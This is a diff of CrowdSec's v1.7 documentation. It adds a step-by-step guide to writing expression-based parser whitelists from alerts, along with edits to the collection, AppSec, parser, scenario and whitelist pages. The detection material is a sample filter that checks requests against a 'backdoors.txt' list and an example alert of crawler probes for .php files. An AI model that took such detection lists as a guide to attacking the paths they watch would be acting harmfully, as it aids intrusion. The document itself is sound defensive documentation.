use case (for example: NGINX, SSH, WordPress, or generic HTTP attacks). +In practice, a collection is a YAML file that references other Hub items such as: +- **Parsers**: extract structured fields from raw log lines. See [Parsers](/log_processor/parsers/introduction.mdx). +- **Scenarios**: detect behaviors by correlating events over time. See [Scenarios](/log_processor/scenarios/introduction.mdx). +- **Postoverflows**: additional processing after a scenario triggers (often used for last-chance whitelisting). See [Postoverflows](/log_processor/parsers/introduction.mdx#postoverflows) and [Whitelists](/log_processor/whitelist/introduction.md). +- **Contexts**: enrich alerts with additional key/value fields. See [Alert Context](/log_processor/alert_context/intro.md). +- **AppSec rules / configurations**: WAF rules and their configuration. See [AppSec](/appsec/intro.md) and [AppSec configuration](/appsec/configuration.md). + +## Why collections exist + +Collections are the recommended way to install detection content because they: + +- Keep configurations consistent (the right parsers + scenarios shipped together). +- Make installation and updates easier (one package per service). +- Reduce missed detections caused by incomplete installs. + +## Installing and updating collections + +Collections are distributed via the CrowdSec Hub and managed with `cscli`: + +- Update the Hub index: see [`cscli hub update`](/cscli/cscli_hub_update.md) +- Install or upgrade items: see [`cscli hub upgrade`](/cscli/cscli_hub_upgrade.md) and [Hub management](/cscli/cscli_hub.md) + +## Collection file format + +To understand what a collection can contain (and how it is defined), see [Collection format](/log_processor/collections/format.md). diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/appsec.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/appsec.md index 676bc72d6..8b38aae3d 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/appsec.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/appsec.md @@ -6,21 +6,22 @@ title: Application Security Component This module allows you to enable the `Application Security Component` as a data source. -A more detailed documentation is available [here](/docs/next/appsec/intro). +A more detailed documentation is available [here](/appsec/intro.md). -A quickstart tutorial is available for [Nginx/OpenResty](/docs/next/appsec/quickstart/nginxopenresty) and [Traefik](/docs/next/appsec/quickstart/traefik). +A quickstart tutorial is available for [Nginx/OpenResty](/appsec/quickstart/nginxopenresty.mdx) and [Traefik](/appsec/quickstart/traefik.mdx). ## Configuration example -To start an Application Security Component on port 7422, listening on 127.0.0.1, using the `crowdsecurity/vpatch` config: +To start an Application Security Component on port 7422, listening on 127.0.0.1, using the `crowdsecurity/appsec-default` configuration: ```yaml source: appsec listen_addr: 127.0.0.1:7422 path: / -appsec_config: crowdsecurity/virtual-patching +appsec_configs: + - crowdsecurity/appsec-default labels: - type: appsec + type: appsec ``` ## Parameters @@ -28,7 +29,7 @@ labels: ### `listen_addr` The address and port to listen on. -Defaults to `127.0.0.1:7442`. +Defaults to `127.0.0.1:7422`. ### `path` @@ -37,7 +38,7 @@ Defaults to `/`. ### `appsec_configs` -The name of the appsec-config to use (as seen in `cscli appsec-configs list`). +The list of appsec-configs to use (as seen in `cscli appsec-configs list`). ### `appsec_config` @@ -66,4 +67,4 @@ Path to the key file to allow HTTPS communication between the remediation compon ## DSN and command-line -This module does not support acquisition from the command line. \ No newline at end of file +This module does not support acquisition from the command line. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/parsers/format.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/parsers/format.md index f81ace5e5..110aef98f 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/parsers/format.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/parsers/format.md @@ -393,17 +393,18 @@ statics: data: - source_url: https://URL/TO/FILE dest_file: LOCAL_FILENAME - type: (regexp|string) + type: (regexp|string|map) ``` `data` allows user to specify an external source of data. This section is only relevant when `cscli` is used to install parser from hub, as it will download the `source_url` and store it to `dest_file`. When the parser is not installed from the hub, CrowdSec won't download the URL, but the file must exist for the parser to be loaded correctly. -The `type` is mandatory if you want to evaluate the data in the file, and should be `regex` for valid (re2) regular expression per line or `string` for string per line. +The `type` is mandatory if you want to evaluate the data in the file, and should be `regex` for valid (re2) regular expression per line, `string` for string per line, or `map` for JSON-lines map files (see [map file helpers](/expr/file_helpers.md#map-file-helpers)). + The regexps will be compiled, the strings will be loaded into a list and both will be kept in memory. Without specifying a `type`, the file will be downloaded and stored as file and not in memory. -You can refer to the content of the downloaded file(s) by using either the `File()` or `RegexpInFile()` function in an expression: +You can refer to the content of the downloaded file(s) by using `File()`, `RegexpInFile()`, `FileMap()`, or `LookupFile()` in an expression: ```yaml filter: 'evt.Meta.log_type in ["http_access-log", "http_error-log"] and any(File("backdoors.txt"), { evt.Parsed.request contains #})' diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/deploy.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/deploy.md new file mode 100644 index 000000000..6978b5f04 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/deploy.md @@ -0,0 +1,34 @@ +--- +id: deploy +title: Deploy +sidebar_position: 4 +--- + +:::warning + +This documentation mostly focus on installation of custom scenarios. Scenarios from the hub should be installed as a part of the collection, by using `cscli collections install `. Installing scenarios directly with `cscli scenario install ` might lead to unexpected results because of missing dependencies (ie. parsers, enrichers, post-overflows etc.) + +::: + + +## Deployment + +### Installation + +To deploy a scenario, simply copy it to `/etc/crowdsec/scenarios/`. + +### Verification + +Use `cscli scenarios list` to view all your installed scenarios: + +- `Name` presents the `name` field of the yaml file. +- `Version` represents the version of the scenario according to the hub. Versions increment on upstream changes. +- `Local path` represents the local path to the scenario file. +- `📦 Status` indicates the state: + +| Status | Description | +|--------|-------------| +| `✔️ enabled` | Scenario is from the hub and up-to-date | +| `🏠 enabled,local` | This is a custom scenario | +| `⚠️ enabled,tainted` | This is an upstream scenario that has been modified | + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/format.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/format.md index d7e8ff165..5e42120db 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/format.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/format.md @@ -612,7 +612,7 @@ If the `cancel_on` expression returns true, the bucket is immediately destroyed data: - source_url: https://URL/TO/FILE dest_file: LOCAL_FILENAME - [type: (regexp|string)] + [type: (regexp|string|map)] ``` :::info @@ -628,12 +628,12 @@ The `source_url` section is only relevant when `cscli` is used to install scenar When the scenario is not installed from the hub, CrowdSec will not download the `source_url`, however, if the file exists at `dest_file` within the data directory it will still be loaded into memory. -The `type` is mandatory if you want to evaluate the data in the file, and should be `regex` for valid (re2) regular expression per line or `string` for string per line. +The `type` is mandatory if you want to evaluate the data in the file, and should be `regex` for valid (re2) regular expression per line, `string` for string per line, or `map` for JSON-lines map files (see [map file helpers](/expr/file_helpers.md#map-file-helpers)). The regexps will be compiled, the strings will be loaded into a list and both will be kept in memory. Without specifying a `type`, the file will be downloaded and stored as file and not in memory. -You can refer to the content of the downloaded file(s) by using either the `File()` or `RegexpInFile()` function in an expression: +You can refer to the content of the downloaded file(s) by using `File()`, `RegexpInFile()`, `FileMap()`, or `LookupFile()` in an expression: ```yaml filter: 'evt.Meta.log_type in ["http_access-log", "http_error-log"] and any(File("backdoors.txt"), { evt.Parsed.request contains #})' diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/capi_based_whitelist.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/capi_based_whitelist.md index 7394468de..f324c6795 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/capi_based_whitelist.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/capi_based_whitelist.md @@ -6,13 +6,13 @@ title: CAPI :::warning This option is deprecated. -You should use [centralized allowlists](local_api/allowlists.md) instead. +You should use [centralized allowlists](/local_api/allowlists.md) instead. ::: ## Whitelists from CAPI (Central API) community blocklist or third party blocklist -From version 1.5.0 a user can specify a list of IP's or IP ranges to be whitelisted from a community blocklist or third party blocklist. You will have to specify a path to the file within `config.yaml` as by default there is no file specified. +From version 1.5.0, you can define IPs or IP ranges to whitelist from the community blocklist or third-party blocklists. Set the whitelist file path in `config.yaml` (no default path is set). ```yaml api: @@ -20,15 +20,15 @@ api: capi_whitelists_path: ``` -We recommend to use the following files for each OS: +Recommended file paths: - Linux `/etc/crowdsec/capi-whitelists.yaml` - Freebsd `/usr/local/etc/crowdsec/capi-whitelists.yaml` - Windows `c:/programdata/crowdsec/config/capi-whitelists.yaml` -*These files **DO NOT** exist and you **MUST** create them manually and configure the above settings* +*These files **DO NOT** exist by default. You **MUST** create them manually and set the path above.* -The following snippet should be used as a guide +Example file content: ```yaml ips: @@ -44,8 +44,8 @@ sudo systemctl reload crowdsec :::warning -The whitelist only applies when crowdsec pulls the blocklist from CAPI. This means that any IPs already in your local database will not get whitelisted. +The whitelist applies only when CrowdSec pulls blocklists from CAPI. IPs already in your local database are not retroactively whitelisted. -You can either manually delete the decisions for the IPs you want to whitelist with `cscli decisions delete`, or delete all alerts and active decisions from the database with `cscli alerts delete --all` and restart crowdsec. +You can either delete decisions for specific IPs with `cscli decisions delete`, or delete all alerts and active decisions with `cscli alerts delete --all` and then restart CrowdSec. ::: diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/expr_based_whitelist.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/expr_based_whitelist.md index e4f8d2d97..1366d233e 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/expr_based_whitelist.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/expr_based_whitelist.md @@ -3,47 +3,208 @@ id: create_expr title: Expression --- -Let's whitelist a **specific** user-agent (of course, it's just an example, don't do this in production !). +Expression-based whitelists let you discard events during parsing using [expr](https://github.com/antonmedv/expr) expressions. This is the most flexible option for whitelisting patterns such as HTTP paths, user agents, status codes, or any mix of parsed fields. -Since we are using data that is present from the parsing stage we can do this within `Parsing Whitelist` level. Please see [introduction](/log_processor/whitelist/introduction.md) for your OS specific paths. +## What this achieves -```yaml -name: "my/whitelist" ## Must be unique -description: "Whitelist events from private ipv4 addresses" -whitelist: - reason: "private ipv4 ranges" - expression: - - evt.Parsed.http_user_agent == 'MySecretUserAgent' +A **parser whitelist** (enrich stage) drops matching **log lines** before they reach scenarios, so they do not create buckets or alerts. This is usually the cleanest way to cut false positives and resource usage. + +:::info + +If you need to centrally allowlist **IP/CIDR across all components**, use **AllowLists** (available since CrowdSec `1.6.8`). For event-pattern exceptions (URI/user-agent/etc.), use parser whitelists. See [LAPI AllowLists](/local_api/allowlists.md) for details. + +::: + +Because this uses data available at parse time, you can do it at the `Parsing Whitelist` level. See the [introduction](/log_processor/whitelist/introduction.md) for OS-specific paths. + +## Workflow: From an alert to a parser whitelist + +There are two main ways to create an expression-based whitelist: + +1. **Starting from an alert**: When you have a false positive alert and want to whitelist the pattern that triggered it +2. **Starting from a log line**: When you know the log line pattern you want to whitelist + +### Path 1: Starting from an alert + +When you have a false-positive alert, inspect it to extract event details and build a whitelist. + +#### Step 1: Identify the alert and extract events + +1. List recent alerts: + +```bash +sudo cscli alerts list ``` -```bash title="Reload CrowdSec" -sudo systemctl reload crowdsec +2. Inspect an alert with event details: + +```bash +sudo cscli alerts inspect -d ``` -For the record, I edited nikto's configuration to use 'MySecretUserAgent' as user-agent, and thus : +The `-d/--details` flag shows events associated with the alert. From the output, note: + +- The **log type** (e.g., `nginx`, `apache2`, `sshd`, etc.) +- Any helpful **meta** fields (http path, status, verb, user-agent, etc.) +- The **source** you want to exempt (endpoint, health-check path, internal scanner, etc.) + +:::important + +In the **Events** section, each key maps to a field in `evt.Meta.*`. For example, `http_path` becomes `evt.Meta.http_path` in your whitelist expression. + +::: + +
+ Example: Alert inspection output ```bash -nikto -host myfqdn.com +$ cscli alerts inspect 176012 -d + +################################################################################################ + + - ID : 176012 + - Date : 2026-01-07T15:11:08Z + - Machine : testMachine + - Simulation : false + - Remediation : true + - Reason : crowdsecurity/http-crawl-non_statics + - Events Count : 44 + - Scope:Value : Ip:192.168.1.100 + - Country : US + - AS : EXAMPLE-AS-BLOCK + - Begin : 2026-01-07T15:11:05Z + - End : 2026-01-07T15:11:07Z + - UUID : 0061339c-f070-4859-8f2a-66249c709d73 + +╭────────────────────────────────────────────────────────────────────────────╮ +│ Active Decisions │ +├───────────┬───────────────────┬────────┬────────────┬──────────────────────┤ +│ ID │ scope:value │ action │ expiration │ created_at │ +├───────────┼───────────────────┼────────┼────────────┼──────────────────────┤ +│ 905003939 │ Ip:192.168.1.100 │ ban │ 23h35m33s │ 2026-01-07T15:11:08Z │ +╰───────────┴───────────────────┴────────┴────────────┴──────────────────────╯ + + - Context : +╭────────────┬────────────╮ +│ Key │ Value │ +├────────────┼────────────┤ +│ method │ GET │ +│ status │ 404 │ +│ target_uri │ /lanz.php │ +│ target_uri │ /xwpg.php │ +│ target_uri │ /slsqc.php │ +│ target_uri │ /fs8.php │ +│ target_uri │ /flap.php │ +│ target_uri │ /ws34.php │ +│ user_agent │ - │ +╰────────────┴────────────╯ + + - Events : + +- Date: 2026-01-07 15:11:07 +0000 UTC +╭─────────────────┬─────────────────────────────╮ +│ Key │ Value │ +├─────────────────┼─────────────────────────────┤ +│ ASNNumber │ 64512 │ +│ ASNOrg │ EXAMPLE-AS-BLOCK │ +│ IsInEU │ false │ +│ IsoCode │ US │ +│ SourceRange │ 192.168.0.0/16 │ +│ datasource_path │ /var/log/nginx/access.log │ +│ datasource_type │ file │ +│ http_args_len │ 0 │ +│ http_path │ /lanz.php │ +│ http_status │ 404 │ +│ http_user_agent │ - │ +│ http_verb │ GET │ +│ log_type │ http_access-log │ +│ service │ http │ +│ source_ip │ 192.168.1.100 │ +│ target_fqdn │ example.com │ +│ timestamp │ 2026-01-07T15:11:07Z │ +╰─────────────────┴─────────────────────────────╯ + +- Date: 2026-01-07 15:11:07 +0000 UTC +╭─────────────────┬─────────────────────────────╮ +│ Key │ Value │ +├─────────────────┼─────────────────────────────┤ +│ ASNNumber │ 64512 │ +│ ASNOrg │ EXAMPLE-AS-BLOCK │ +│ IsInEU │ false │ +│ IsoCode │ US │ +│ SourceRange │ 192.168.0.0/16 │ +│ datasource_path │ /var/log/nginx/access.log │ +│ datasource_type │ file │ +│ http_args_len │ 0 │ +│ http_path │ /xwpg.php │ +│ http_status │ 404 │ +│ http_user_agent │ - │ +│ http_verb │ GET │ +│ log_type │ http_access-log │ +│ service │ http │ +│ source_ip │ 192.168.1.100 │ +│ target_fqdn │ example.com │ +│ timestamp │ 2026-01-07T15:11:07Z │ +╰─────────────────┴─────────────────────────────╯ ``` +In this example, the events section lists keys such as `http_path`, `http_status`, `http_verb`, and `source_ip`. Those keys map to `evt.Meta.*` fields you can use in your whitelist expressions. For instance, `http_path` becomes `evt.Meta.http_path`. + +
+ +#### Step 2: Pick a representative log line + +From the alert details, pick one triggering log line. You will use the raw line with `cscli explain` in the next step. + +#### Step 3: Use `cscli explain` to reveal parsed fields + +To write a safe whitelist, use the exact field names and values available at parse/enrich time. + +Run `cscli explain` against the log line: + ```bash -tail -f /var/log/crowdsec.log +sudo cscli explain \ + --log '' \ + --type \ + -v ``` -CrowdSec will inform you some lines have been discarded because they are whitelisted by the expression. +`cscli explain -v` shows which parsers ran and what they populated in `evt.Parsed.*`, `evt.Meta.*`, and related fields. -### How can I find which data is present from parsing stage? +**What to look for** in the explain output: -You can use [cscli explain](/cscli/cscli_explain.md) to generate output from a given log line or log file. +- The specific fields that uniquely identify the "good" traffic you want to ignore, for example: + - `evt.Parsed.http_user_agent` + - `evt.Meta.http_path` + - `evt.Meta.http_verb` + - `evt.Meta.http_status` +- Anything stable that will not accidentally exempt real attacks -For example: +### Path 2: Starting from a log line + +When you already know the log line pattern you want to whitelist (e.g., health check endpoints, monitoring tools), you can use `cscli explain` directly. + +#### Step 1: Use `cscli explain` to reveal parsed fields + +Use [cscli explain](/cscli/cscli_explain.md) on a log line or a log file. + +For example, with a single log line: ```bash -sudo cscli explain --log '5.5.8.5 - - [04/Jan/2020:07:25:02 +0000] "GET /.well-known/acme-challenge/FMuukC2JOJ5HKmLBujjE_BkDo HTTP/1.1" 404 522 "-" "MySecretUserAgent"' --type nginx -v +sudo cscli explain \ + --log '5.5.8.5 - - [04/Jan/2020:07:25:02 +0000] "GET /.well-known/acme-challenge/FMuukC2JOJ5HKmLBujjE_BkDo HTTP/1.1" 404 522 "-" "MySecretUserAgent"' \ + --type nginx \ + -v +``` + +Or with a file: + +```bash +sudo cscli explain --file /path/to/logfile --type nginx -v ```
- Output: + Example output: ```bash line: 5.5.8.5 - - [04/Jan/2020:07:25:02 +0000] "GET /.well-known/acme-challenge/FMuukC2JOJ5HKmLBujjE_BkDo HTTP/1.1" 404 522 "-" "MySecretUserAgent" @@ -122,6 +283,129 @@ line: 5.5.8.5 - - [04/Jan/2020:07:25:02 +0000] "GET /.well-known/acme-challenge/ ├ 🟢 crowdsecurity/http-crawl-non_statics └ 🟢 crowdsecurity/http-probing ``` -You can see what data can be used from `s01-parse` stage. + +This output shows what data is available from the `s01-parse` stage. Look for fields in `evt.Parsed.*` and `evt.Meta.*` that you can use in your whitelist expression. +
+## Create the parser whitelist file + +Once you have identified the fields you want to use, create a new YAML file in the appropriate directory. See the [introduction](/log_processor/whitelist/introduction.md) for OS-specific paths. + +For example: + +```bash +sudo nano /etc/crowdsec/parsers/s02-enrich/zz-whitelist-myapp.yaml +``` + +### Example 1: Whitelist by user-agent + +```yaml +name: "myorg/whitelist-healthcheck-ua" +description: "Ignore our synthetic checks user-agent" +whitelist: + reason: "synthetic monitoring" + expression: + - evt.Parsed.http_user_agent == 'MyHealthcheckBot/1.0' +``` + +### Example 2: Whitelist a specific endpoint (health check) + +Use values you confirmed via `cscli explain`: + +```yaml +name: "myorg/whitelist-healthz" +description: "Ignore health checks hitting /healthz" +whitelist: + reason: "health endpoint" + expression: + - evt.Meta.http_path == '/healthz' and evt.Meta.http_verb == 'GET' +``` + +:::tip + +Keep whitelist expressions as narrow as possible (path + verb + optional user-agent) to avoid hiding real attacks. + +::: + +### Example 3: Whitelist by multiple conditions + +You can combine conditions: + +```yaml +name: "myorg/whitelist-acme-challenge" +description: "Ignore ACME challenge requests" +whitelist: + reason: "legitimate certificate renewal" + expression: + - evt.Meta.http_path startsWith '/.well-known/acme-challenge/' and evt.Meta.http_verb == 'GET' +``` + +### Example 4: Whitelist by status code and path + +```yaml +name: "myorg/whitelist-monitoring" +description: "Ignore monitoring tool requests" +whitelist: + reason: "internal monitoring" + expression: + - evt.Meta.http_path == '/metrics' and evt.Meta.http_status == '200' +``` + +### Real-world example: Nextcloud + +For a real-world example of expression-based whitelists, see the [Nextcloud whitelist example on the Hub](https://hub.crowdsec.net/author/crowdsecurity/configurations/nextcloud-whitelist), which shows how to whitelist common Nextcloud endpoints and patterns. + +## Reload CrowdSec and validate + +Reload CrowdSec to apply the new parser whitelist: + +```bash +sudo systemctl reload crowdsec +``` + +Then validate in two ways: + +1. **Re-run `cscli explain`** on the same triggering line and confirm it is discarded/whitelisted. CrowdSec logs when lines are discarded because they match a whitelist. + +2. **Confirm new decisions are no longer created** for the same pattern/IP: + +```bash +sudo cscli decisions list --ip +``` + +## Clean up any existing bans + +A whitelist prevents *future* triggers, but it does not remove decisions that already exist. + +If you need to remove an active decision immediately: + +```bash +sudo cscli decisions delete -i +``` + +Or delete all decisions for a specific scenario: + +```bash +sudo cscli decisions delete --scenario +``` + +## Verify whitelist is working + +You can verify that the whitelist is working by checking the CrowdSec logs: + +```bash +tail -f /var/log/crowdsec.log +``` + +CrowdSec will log when lines are discarded because they match the whitelist expression. + +## Finding available fields + +The key to creating effective expression whitelists is knowing which fields are available. Use `cscli explain -v` to see the fields available at each stage: + +- **`evt.Parsed.*`**: Fields extracted by parsers +- **`evt.Meta.*`**: Metadata fields (often normalized versions of parsed fields) +- **`evt.Enriched.*`**: Fields added by enrichment parsers (geoip, rdns, etc.) + +For more information about available fields, see the [expr documentation](/expr/event.md). diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/format.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/format.md index 2505a3ab1..c246565a4 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/format.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/format.md @@ -9,7 +9,7 @@ sidebar_position: 2 ```yaml name: "my/whitelist" ## Must be unique description: "Whitelist events from my ipv4 addresses" -#it's a normal parser, so we can restrict its scope with filter +# This is a normal parser, so you can restrict its scope with a filter filter: "1 == 1" whitelist: reason: "my ipv4 ranges" @@ -20,9 +20,9 @@ whitelist: - "10.0.0.0/8" - "172.16.0.0/12" expression: - #beware, this one will work *only* if you enabled the reverse dns (crowdsecurity/rdns) enrichment postoverflow parser + # Works only if reverse DNS enrichment (crowdsecurity/rdns) is enabled - evt.Enriched.reverse_dns endsWith ".mycoolorg.com." - #this one will work *only* if you enabled the geoip (crowdsecurity/geoip-enrich) enrichment parser + # Works only if geoip enrichment (crowdsecurity/geoip-enrich) is enabled - evt.Enriched.IsoCode == 'FR' ``` @@ -35,9 +35,9 @@ whitelist: name: my_author_name/my_whitelist_name ``` -The `name` is mandatory. +The `name` is mandatory. -It must be unique (and will define the scenario's name in the hub). +It must be unique (it also defines the scenario name in the hub). ### `description` @@ -48,7 +48,7 @@ description: whitelist office The `description` is mandatory. -It is a quick sentence describing what it detects. +It is a short sentence describing what it detects. ### `filter` @@ -59,13 +59,13 @@ filter: expression `filter` must be a valid [expr](https://github.com/antonmedv/expr) expression that will be evaluated against the [event](/expr/event.md). -If `filter` evaluation returns true or is absent, node will be processed. +If `filter` evaluates to `true`, or is absent, the node is processed. -If `filter` returns `false` or a non-boolean, node won't be processed. +If `filter` evaluates to `false` or a non-boolean value, the node is not processed. Here is the [expr documentation](https://github.com/antonmedv/expr/tree/master/docs). -Examples : +Examples: - `filter: "evt.Enriched.foo == 'test'"` - `filter: "evt.Enriched.bar == 'test' && evt.Enriched.foo == 'test2'` @@ -83,9 +83,9 @@ whitelist: - "10.0.0.0/8" - "172.16.0.0/12" expression: - #beware, this one will work *only* if you enabled the reverse dns (crowdsecurity/rdns) enrichment postoverflow parser + # Works only if reverse DNS enrichment (crowdsecurity/rdns) is enabled - evt.Enriched.reverse_dns endsWith ".mycoolorg.com." - #this one will work *only* if you enabled the geoip (crowdsecurity/geoip-enrich) enrichment parser + # Works only if geoip enrichment (crowdsecurity/geoip-enrich) is enabled - evt.Enriched.IsoCode == 'FR' ``` @@ -97,7 +97,7 @@ reason: whitelist for test The `reason` is mandatory. -It is a quick sentence describing the reason of the whitelist. +It is a short sentence describing the reason for the whitelist. #### `ip` @@ -107,7 +107,7 @@ whitelist: - "127.0.0.1" ``` -A valid [expr](/expr/intro.md) expression that return a string to apply the pattern on. +List of IP addresses to whitelist. #### `cidr` @@ -120,7 +120,7 @@ whitelist: - "172.16.0.0/12" ``` -A valid [expr](/expr/intro.md) expression that return a string to apply the pattern on. +List of CIDR ranges to whitelist. #### `expression` @@ -128,13 +128,13 @@ A valid [expr](/expr/intro.md) expression that return a string to apply the patt ```yaml whitelist: expression: - #beware, this one will work *only* if you enabled the reverse dns (crowdsecurity/rdns) enrichment postoverflow parser + # Works only if reverse DNS enrichment (crowdsecurity/rdns) is enabled - evt.Enriched.reverse_dns endsWith ".mycoolorg.com." - #this one will work *only* if you enabled the geoip (crowdsecurity/geoip-enrich) enrichment parser + # Works only if geoip enrichment (crowdsecurity/geoip-enrich) is enabled - evt.Enriched.IsoCode == 'FR' ``` -A valid [expr](/expr/intro.md) expression that return a string to apply the pattern on. +List of [expr](/expr/intro.md) expressions. If any expression evaluates to `true`, the event is whitelisted. ### `data` @@ -146,7 +146,7 @@ data: type: (regexp|string) ``` -`data` allows user to specify an external source of data. +`data` lets you specify an external data source. This section is only relevant when `cscli` is used to install parser from hub, as it will download the `source_url` and store it to `dest_file`. When the parser is not installed from the hub, CrowdSec won't download the URL, but the file must exist for the parser to be loaded correctly. The `type` is mandatory if you want to evaluate the data in the file, and should be `regex` for valid (re2) regular expression per line or `string` for string per line. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/fqdn_based_whitelist.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/fqdn_based_whitelist.md index 7b911a0a8..f434cc5f4 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/fqdn_based_whitelist.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/fqdn_based_whitelist.md @@ -4,14 +4,14 @@ title: FQDN --- :::info -FQDN lookups can potentially cause latency issues. We recommend using them only in the `Postoverflow whitelist` stage. See [introduction](/log_processor/whitelist/introduction.md) for your OS specific path. +FQDN lookups can cause latency. We recommend using them only in the `Postoverflow whitelist` stage. See [introduction](/log_processor/whitelist/introduction.md) for your OS-specific path. ::: ### Create a whitelist by fully qualified domain name -If you need to whitelist a fully qualified domain name (FQDN, for example `foo.com`), create a whitelist file like the one below. +If you need to whitelist a fully qualified domain name (FQDN), for example `foo.com`, create a whitelist file like this: -Create `FQDN-whitelists.yaml` in your whitelist directory (see [introduction](/log_processor/whitelist/introduction.md) for your OS specific path): +Create `FQDN-whitelists.yaml` in your whitelist directory (see [introduction](/log_processor/whitelist/introduction.md) for your OS-specific path): ```yaml name: "my/fqdn-whitelists" ## Must be unique @@ -23,7 +23,7 @@ whitelist: - evt.Overflow.Alert.Source.IP in LookupHost("foo.foo.org") - evt.Overflow.Alert.Source.IP in LookupHost("12123564.org") ``` -Save the file, then reload CrowdSec to apply the change: +Then reload CrowdSec: ```bash title="Reload CrowdSec" sudo systemctl reload crowdsec diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/introduction.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/introduction.md index 78f67b840..a641750f7 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/introduction.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/introduction.md @@ -4,38 +4,40 @@ title: Introduction sidebar_position: 1 --- +:::tip Recommended for IP/CIDR Allowlisting -Whitelists are special parsers that allow you to "discard" events, and can exist at two different steps : +For simple IP and CIDR-based allowlisting, we recommend using [**Centralized AllowLists**](/local_api/allowlists.md) instead of parser whitelists. AllowLists are easier to manage and also affect blocklist pulls. The parser whitelists documented below are best suited for complex expression-based rules that rely on log elements. - - *Parser whitelists* : Allows you to discard an event at parse time, so that it never hits the buckets. +::: + +Whitelists are special parsers that let you discard events. They can exist at different stages: + +- *Parser whitelists*: Discard an event at parse time, so it never reaches buckets. - Linux: `/etc/crowdsec/parsers/s02-enrich/` - Freebsd: `/usr/local/etc/crowdsec/parsers/s02-enrich/` - Windows: `c:/programdata/crowdsec/config/parsers/s02-enrich/` - - *LAPI AllowLists* : Centralized at the LAPI level, those allowlists allow to discard the decision and alert while still generating a log entry. They can be IP/Range (CIDR) based. See [LAPI AllowLists](/local_api/allowlists.md) +- *LAPI AllowLists*: Centralized at the LAPI level. They discard decisions and alerts while still generating log entries. They support IP/range (CIDR) rules. See [LAPI AllowLists](/local_api/allowlists.md). - - *PostOverflow whitelists* : Those are whitelists that are checked *after* the overflow happens. It is usually best for whitelisting process that can be expensive (such as performing reverse DNS on an IP address, or performing a `whois` of an IP address). +- *PostOverflow whitelists*: Checked *after* overflow. Best for expensive checks (for example reverse DNS or `whois` lookups on IPs). - Linux: `/etc/crowdsec/postoverflows/s01-whitelist/` - Freebsd: `/usr/local/etc/crowdsec/postoverflows/s01-whitelist/` - Windows: `c:/programdata/crowdsec/config/postoverflows/s01-whitelist/` -*Postoverflow whitelist folders do not exist by default so you **MUST** manually create them* +*Postoverflow whitelist folders do not exist by default, so you **MUST** create them manually.* -**Parser Whitelists** and **PostOverflow Whitelists** offer more flexibility, but are harder to manage. If you stick to IP-based whitelists, [**Centralized AllowLists**](/local_api/allowlists.md) is the way to go. +Whitelists can be based on: -Otherwise, whitelist can be based on several criteria: - - - specific IP address : if the event/overflow IP is the same, event is whitelisted - - IP ranges : if the event/overflow IP address belongs to this range, event is whitelisted - - a list of [expr](https://github.com/antonmedv/expr) expressions : if any expression returns true, event is whitelisted +- Specific IP addresses: if the event/overflow IP matches, the event is whitelisted. +- IP ranges: if the event/overflow IP is in a range, the event is whitelisted. +- A list of [expr](https://github.com/antonmedv/expr) expressions: if any expression returns true, the event is whitelisted. :::info -While the whitelists are the same for parser or postoverflows, beware that field names might change. +Parser and postoverflow whitelists use the same format, but field names can differ. -Source ip is usually in `evt.Meta.source_ip` when it's a log, but `evt.Overflow.Alert.Source.IP` when it's an overflow +Source IP is usually `evt.Meta.source_ip` for logs, but `evt.Overflow.Alert.Source.IP` for overflows. ::: - diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/ip_based_whitelist.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/ip_based_whitelist.md index 13bc1d2f9..da8d43196 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/ip_based_whitelist.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/ip_based_whitelist.md @@ -3,9 +3,15 @@ id: create_ip title: IP / CIDR --- -IP whitelists are best suited at `Parser whitelists` level because once the log line has been parsed we already know the IP address and can save resources by discarding it earlier in the pipeline. +:::info Recommended: Use Centralized AllowLists -We will create the file `mywhitelist.yaml` please see [introduction](/log_processor/whitelist/introduction.md) for your OS specific paths. +For IP and CIDR-based allowlisting, we recommend using [Centralized 